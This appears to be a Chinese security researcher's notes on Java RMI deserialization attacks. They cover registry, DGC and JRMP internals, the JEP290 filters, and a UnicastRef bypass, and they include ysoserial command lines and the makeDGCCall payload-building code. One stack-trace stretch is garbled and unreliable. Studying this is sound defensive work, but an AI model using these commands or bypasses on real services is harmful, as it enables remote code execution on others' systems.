RMI - 安全篇
RMI分为三个主体部分:
*Client-客户端*:客户端调用服务端的方法
*Server-服务端*:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
*Registry-注册中心*:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。
总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。
唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。
*宏观上看,RMI远程调用步骤*:
1)客户对象调用客户端辅助对象上的方法;
2)客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象;
3)服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象;
4)调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象;
5)服务端辅助对象将结果打包,发送给客户端辅助对象;
6)客户端辅助对象将返回值解包,返回给客户对象;
7)客户对象获得返回值;
详细来看,对于Client来说,他甚至可以不知道有Server的存在,所有他需要的只是一个stub,对于Client来说,调用远程方法就是调用Stub的方法,
从我们一个局外人的角度上看,数据是在Client和Server之间是横向流动的,但是微观上看整个流程必有网络层面的大量的纵向流动,一个请求先从Client发出,交给Stub,走过Transport Layer之后交由Skeleton,最后到Server,Server调用相应方法,然后将结果原路返回,流程如下:
1.Server监听一个端口,此端口由JVM随机选择(这一点在ysoserial中可见);
2.Client对于Server上的远程对象的位置信息(通信地址和端口)一无所知,只知道****向stub发起请求****,而stub中包含了这些信息,并封装了底层网络操作;
3.Client调用Stub上对应的方法;
4.Stub连接到Server监听的通信端口并提交方法的参数;
5.Server上执行具体的方法,并****将结果原路返回给Stub****;
对于Client来说,远程调用的执行结果是Stub给它的,从Client看来就好像是Stub在本地执行了这个方法一样。
*RMI服务端与客户端实现*
*服务端*
E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-server\src\main\java\com\longofo\javarmi\RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
/**
* Java RMI 服务端
*
* @param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
// 创建Registry
reg = LocateRegistry.createRegistry(9998);
System.out.println("Java RMI registry created. port on 9998...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
// 绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
关于绑定的地址很多博客会rmi://ip:port/Objectname的形式
实际上看rebind源码就知道rmi:写不写都行。
port如果默认是1099,不写会自动补上,其他端口就必须写
这里就会想一个问题:注册中心跟服务端可以分离么?
个人感觉在分布式环境下是可以分离的,但是网上看到的代码都没见到分离的,以及****官方文档****是这么说的:
出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。
那么就是****一般来说注册中心跟服务端是不能分离的****。
*客户端*
E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-client\src\main\java\com\longofo\javarmi\RMIClient.java
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9998);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
// PublicKnown malicious = new PublicKnown();
// malicious.setParam("calc");
// malicious.setMessage("haha");
// 使用远程对象的引用调用对应的方法
// System.out.println(services.sendMessage(malicious));
System.out.println(services.hello());
}
}
需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)
Naming.lookup查找远程对象,rmi:可省略
*传输过程*
客户端序列化传输调用函数的输入参数至服务端,服务端返回序列化的执行结果至客户端。
对应的代码是这一句
String ret = hello.hello(“input!gogogogo”);
RMI服务端与客户端readObject其实位置是同一个地方,只是调用栈不同。
*服务端开启调试*:
*客户端开启调试*:
服务端的rt.jar.sun.rmi.server.UnicastServerRef#dispatch
// 通过客户端提供的var4去验证客户端想要调用的方法,在这里有没有
// ***\*this.hashToMethod_Map\*******\*就是在服务端实现的RMI服务对象的方法\****
Method var8 = (Method)this.hashToMethod_Map.get(var4);
// 如果没有,var8就为null,报错“想调用的方法在这里不存在”
if (var8 == null) {
throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
*this.hashToMethod_Map**就是在服务端实现的RMI服务对象的方法*
这里切了jdk为8u66
要想全局搜索生效,还需清下缓存。
–RMI服务端反序列化攻击RMI注册端
*注册中心代码*
创建一个继承java.rmi.Remote的接口
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
创建注册中心代码
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class Registry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true) ;
}
}
利用ysoserial.exploit.RMIRegistryExploit即可(在bind(name,payload)
这里插入payload)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.189.136 1099 CommonsCollections1 “calc”
触发反序列化操作位置
sun.rmi.registry.*RegistryImpl_Skel#dispatch*(我们可以叫做RMI注册任务分发处,就是注册端处理请求的地方)其实是从sun.rmi.server.*UnicastServerRef#dispatch*(RMI请求分发处)那边过来的。
sun.rmi.registry.RegistryImpl_Skel#dispatch:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一处接口hash验证
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
//设定变量开始处理请求
//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
RegistryImpl var6 = (RegistryImpl)var1;
//接受客户端输入流的参数变量
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
//super.ref.newCall(this, operations, 0, 4905912898345647071L);
switch(var3) {
//统一删除了try等语句
case 0:
//bind(String,Remote)分支
var11 = var2.getInputStream();
//1.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.bind(var7, var8);
case 1:
//list()分支
var2.releaseInputStream();
String[] var97 = var6.list();
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
case 2:
//lookup(String)分支
var10 = var2.getInputStream();
//2.反序列化触发处
var7 = (String)var10.readObject();
var8 = var6.lookup(var7);
case 3:
//rebind(String,Remote)分支
var11 = var2.getInputStream();
//3.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.rebind(var7, var8);
case 4:
//unbind(String)分支
var10 = var2.getInputStream();
//4.反序列化触发处
var7 = (String)var10.readObject();
var6.unbind(var7);
default:
throw new UnmarshalException("invalid method number");
}
}
}
可以得到4个反序列化触发处:lookup、unbind、rebind、bind。
4个接口有两类参数,String和Remote类型的Object。
RMI注册端没有任何校验,payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。
–RMI注册端反序列化攻击RMI客户端
利用ysoserial.exploit.JRMPListener即可(在高版本jdk下ysoserial的JRMPListener依然可以利用)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “calc”
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc.exe” (高版本下实测可用)
客户端代码位置
sun.rmi.registry.RegistryImpl_Stub#lookup
90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections1的调用链,所以这里直接反序列化就会触发。
–RMI客户端反序列化攻击RMI注册端
利用ysoserial.exploit.JRMPClient即可
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.189.136 1099 CommonsCollections1 “calc”
RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。
sun.rmi.transport.DGCImpl_Skel#dispatch(跟上边的服务端攻击注册端
(sun.rmi.registry.RegistryImpl_Skel#dispatch)不一样,但极其类似)
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一样是一个dispatch用于分发作用的方法
//固定接口hash校验
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
//判断dirty和clean分支流
switch(var3) {
//***\*clean分支流\****
case 0:
VMID var39;
boolean var40;
try {
//从客户端提供的输入流取值
ObjectInput var14 = var2.getInputStream();
//对于取值进行反序列化,***漏洞触发点***
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}
//进行clean操作,已经完成了攻击,之后操作已经不重要了。
var6.clean(var7, var8, var39, var40);
//..省略部分无关操作
//***\*dirty方法分支流\****,跟clean在漏洞触发点上是一样的
case 1:
Lease var10;
try {
//从客户端提供的输入流取值
ObjectInput var13 = var2.getInputStream();
//对于取值进行反序列化,***漏洞触发点***
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var11 = var6.dirty(var7, var8, var10);
//..省略无关操作
default:
throw new UnmarshalException("invalid method number");
}
}
这个DGC是用于维护服务端中被客户端使用的远程引用才存在的。其中包括两个方法dirty和clean,简单来说:
客户端想要使用服务端上的远程引用,使用dirty方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
客户端不使用的时候,需要调用clean方法来清除这个远程引用。
由于我们的RMI服务就是基于远程引用的,其底层的远程引用维护就是使用DGC,起一个RMI服务必有DGC层。于是我们就打这个DGC服务。
相对于RMIRegistryExploit模块,这个JRMPClient模块攻击范围更广,因为RMI服务端或者RMI注册端都会开启DGC服务端。
DGCImpl_Skel是服务端代码,DGCImpl_Stub是客户端代码;但是这两个class无法下断点调试(可能是动态生成)。所以在其内部调用的其他方法下断点来调试。
DGC客户端处:
DGC服务端处:
之前RMIRegistryExploit是bind(name,payload)这里插入payload,然后传输到服务端。
*DGC客户端**插入payload的位置*
sun.rmi.transport.DGCImpl_Stub#dirty(clean其实也一样)
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
//获取连接的输入流
ObjectOutput var6 = var5.getOutputStream();
//写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
//***这里就是我们payload写入的地方***
var6.writeObject(var1);
//------
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
super.ref.invoke(var5);
Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
//省略大量错误处理..
}
针对这种很底层的payload的poc构建通常使用自实现一个客户端去拼接序列化数据包。
ysoserial的JRMP-Client exploit模块就是这么实现的,其核心在于makeDGCCall方法:
// 传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
// 建立一个socket通道,并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
// 读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
// *******开始拼接数据流*********
// 以下均为特定协议格式常量
// 传输魔术字符:0x4a524d49(代表协议)
dos.writeInt(TransportConstants.Magic);
// 传输协议版本号:2(就是版本号)
dos.writeShort(TransportConstants.Version);
// 传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
// 传输指令-RMI call:0x50
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
// DGC的固定读取格式
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
// 选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
// 固定的hash值
objOut.writeLong(-669196253586618813L);
// 我们的payload写入的地方
objOut.writeObject(payloadObject);
os.flush();
}
*payload触发点**(DGC服务端)*
sun.rmi.transport.DGCImpl_Skel#dispatch
*DGC读取格式是固定的*
在sun.rmi.transport.Transport#serviceCall读取了参数之后进行了校验
try {
id = ObjID.read(call.getInputStream());
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
/* get the remote object */
//该dgcID是一个常量,此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0,0,0](三个都是我们序列化写入的值)分别是:
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash,判断当前DGC客户端有没有服务端的远程对象
//就是dirty,clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));
if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}
–JEP290修复
在JEP290规范之后,即JAVA版本****6u141, 7u131, 8u121****之后,以上攻击就不奏效了(RMI客户端利用传递参数反序列化攻击RMI服务端不受限制)。
JEP290修复之前,即Java版本6u141、7u131、8u121之前,直接用yso中的两个exploit
ysoserial.exploit.JRMPClient
和
ysoserial.exploit.RMIRegistryExploit
JEP290修复之后,即Java版本6u141、7u131、8u121之后,针对于yso中的两个exploit
ysoserial.exploit.JRMPClient
和
ysoserial.exploit.RMIRegistryExploit
jdk分别做了相关白名单
针对于ysoserial.exploit.JRMPClient
调用栈:
checkInput:409, DGCImpl (sun.rmi.transport)
access
300
:
72
,
D
G
C
I
m
p
l
(
s
u
n
.
r
m
i
.
t
r
a
n
s
p
o
r
t
)
l
a
m
b
d
a
300:72, DGCImpl (sun.rmi.transport) lambda
300:72,DGCImpl(sun.rmi.transport)lambdarun$0:343, DGCImpl$2 (sun.rmi.transport)
checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl
2
2
2$Lambda$2)
filterCheck:1313, ObjectInputStream (java.io)
readNonProxyDesc:1994, ObjectInputStream (java.io)
readClassDesc:1848, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:90, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
在sun.rmi.transport.DGCImpl#checkInput()添加白名单
可以看到这里的白名单包括Primitive、ObjID、UID、VMID、Lease等,ysoserial传递的payload对象类型并不在白名单范围中,因此会返回Status.REJECTED导致利用失败。经过后续的查找发现这种利用姿势因为在高版本jdk的严格白名单过滤场景下基本已经没有利用可能了。
针对于ysoserial.exploit.RMIRegistryExploit
调用栈:
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1313, ObjectInputStream (java.io)
readProxyDesc:1932, ObjectInputStream (java.io)
readClassDesc:1845, ObjectInputStream (java.io)
readOrdinaryObject:2158, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
在sun.rmi.registry.RegistryImpl#registryFilter()添加白名单
·前边的sun.rmi.transport.DGCImpl#checkInput()是针对分布式垃圾收集器的
·当前的sun.rmi.registry.RegistryImpl#registryFilter()是针对RMI注册机制的
这两个的过滤白名单是不一样的,也就为后续的绕过埋下了基础。
可以看到相关的白名单有Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID、UID这几个类,而后续的绕过就是其中的UnicastRef。
sun.rmi.transport.DGCImpl#checkInput过滤器:
private static Status checkInput(FilterInfo var0) {
//与sun.rmi.registry.RegistryImpl#registryFilter处过滤器完全一致
if (dgcFilter != null) {
Status var1 = dgcFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)DGC_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
while(var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
var2 = var2.getComponentType();
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//4种白名单限制
return var2 != ObjID.class &&
var2 != UID.class &&
var2 != VMID.class &&
var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
sun.rmi.registry.RegistryImpl#registryFilter
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
白名单列表:
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
*调用栈*
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
–利用JRMP反序列化绕过JEP290
JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。
*JRMP*
Java远程消息交换协议(Java Remote MessagingProtocol),是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。作为一个Java特有的、适用于Java之间远程调用的基于流的协议,要求客户端和服务器上都使用Java对象。
*JRMP服务端打JRMP客户端*
JRMP是DGC和RMI的底层通讯层,DGC和RMI的最终调用都回到JRMP这一层来(大概是这样)。
利用ysoserial.exploit.JRMPListener即可
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc”
客户端:
public class Client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
Object a = Naming.lookup(url);
User userClient = (User)Naming.lookup(url);
—UnicastRef对象
只能利用ysoserial.exploit.RMIRegistryExploit,ysoserial.exploit.JRMPClient由于白名单限制已不可用。
可参考:
记一次高版本下远程RMI反序列化利用分析 (qq.com)
具体的思路大概是传递一个在白名单中的UnicastRef对象,其中包含序列化的一个RMI主动链接请求,经过上面的registryFilter之后来到反序列化环节解析后会主动发起一个RMI连接从而绕过JEP290。因此这里的利用得用到2个模块:
- 生成UnicastRef对象并发送
- 起一个JRMPListener来监听端口,等待反序列化后的主动回连
利用JRMP(UnicastRef)
CC6的调用栈:
readObject:297, HashSet (java.util)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
关键点:
sun.rmi.registry.RegistryImpl_Skel#dispatch()中的readObject()只是还原恶意UnicastRef对象,而releaseInputStream()才是真正调用此恶意UnicastRef对象发出JRMP请求的
releaseInputStream()调用恶意UnicastRef对象发出JRMP请求
调用栈:
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)
bind() + UnicastRef
lookup() + UnicastRef
CheckAccess策略
以jdk8为例,8u141之后,在sun.rmi.registry.RegistryImpl_Skel#dispatch()中,在readObject()之前会有checkAccess()来检查地址
有checkAccess()以后不能再远程bind,即使可以绕过白名单依然会报错。
注册中心时反序列化的点在RegistryImpl_Skel#dispatch(),其中的var3代表客户端发起连接的方法,其中对应的关系为:
·0 -> bind()
·1 -> list()
·2 -> lookup()
·3 -> rebind()
·4 -> unbind()
改造bind()进行绕过
先来看看sun.rmi.registry.RegistryImpl_Skel#dispatch()
关键代码如下:
这里绕过的关键点首先是参数var3,通过一个switch判断进到不同的case语句中,可以看到在case0/3/4的一开始就会调用checkAccess()检查bind的来源,因此要控制var3的值让它等于case1或case2从而绕过checkAccess()。而var3的值是在调用栈上层的sun.rmi.server.UnicastServerRef#dispatch()中从序列化的数据中用readInt()读出来的,也就是说这个值是可以控制的,这个值在代码注释中的解释是opnum,也就是操作数,根据传入对象的不同来选择不同的处理逻辑。
var3的可控输入点在原始bind(),代码如下:
可以看到try之后的第一个语句中的newCall方法,其中第三个参数即是opnum,在原始bind方法中opnum为0,需要将opnum的值设置为1或2。
那么到底是1还是2呢?
其实,调试原本的case0的逻辑可知,readObeject()并不是真正的触发点,只是从输入中反序列化出我们构造的UnicastRef对象,然后进到finally的releaseInputStream()。
因此要进入的case得同时包含readObeject()和releaseInputStream()这两个方法,而符合这个条件的只有case2。
但其实,case2就是对lookup()的处理逻辑,所以只有1个readObeject(),原本的case0是有2个readObeject()的,所以还需要修改writeObeject()的顺序
C:\Users\z\Desktop\tools\yso\ysoserial\src\main\java\ysoserial\exploit\RMIRegistryExploit1_JEP290.java
理解了bind()的改造,lookup()的改造就很简单了,其实就是替换参数类型
在本地重写一个lookup,替换原来的String参数为Obejct